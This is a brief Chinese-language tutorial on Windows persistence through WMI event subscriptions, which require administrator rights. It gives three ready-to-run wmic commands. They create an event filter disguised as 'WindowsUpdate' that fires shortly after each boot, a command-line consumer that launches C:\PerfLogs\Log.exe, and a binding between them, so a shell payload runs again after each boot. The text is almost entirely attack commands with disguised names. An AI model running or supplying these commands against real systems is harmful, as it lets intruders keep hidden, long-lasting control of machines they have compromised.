一、WMI

由于WMI的事件会循环执行，为确保不会无限弹shell，可以使用系统启动时间来限制（只要触发延时可以落在限定区间即可，有些机器启动慢因此起始时间调高些

二、执行如下命令

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WindowsUpdate", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System‘ AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 260"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WindowsUp", ExecutablePath="C:\PerfLogs\Log.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsUpdate\"", Consumer="CommandLineEventConsumer.Name=\"WindowsUp\""

Windows权限维持之WMI事件(管理员权限)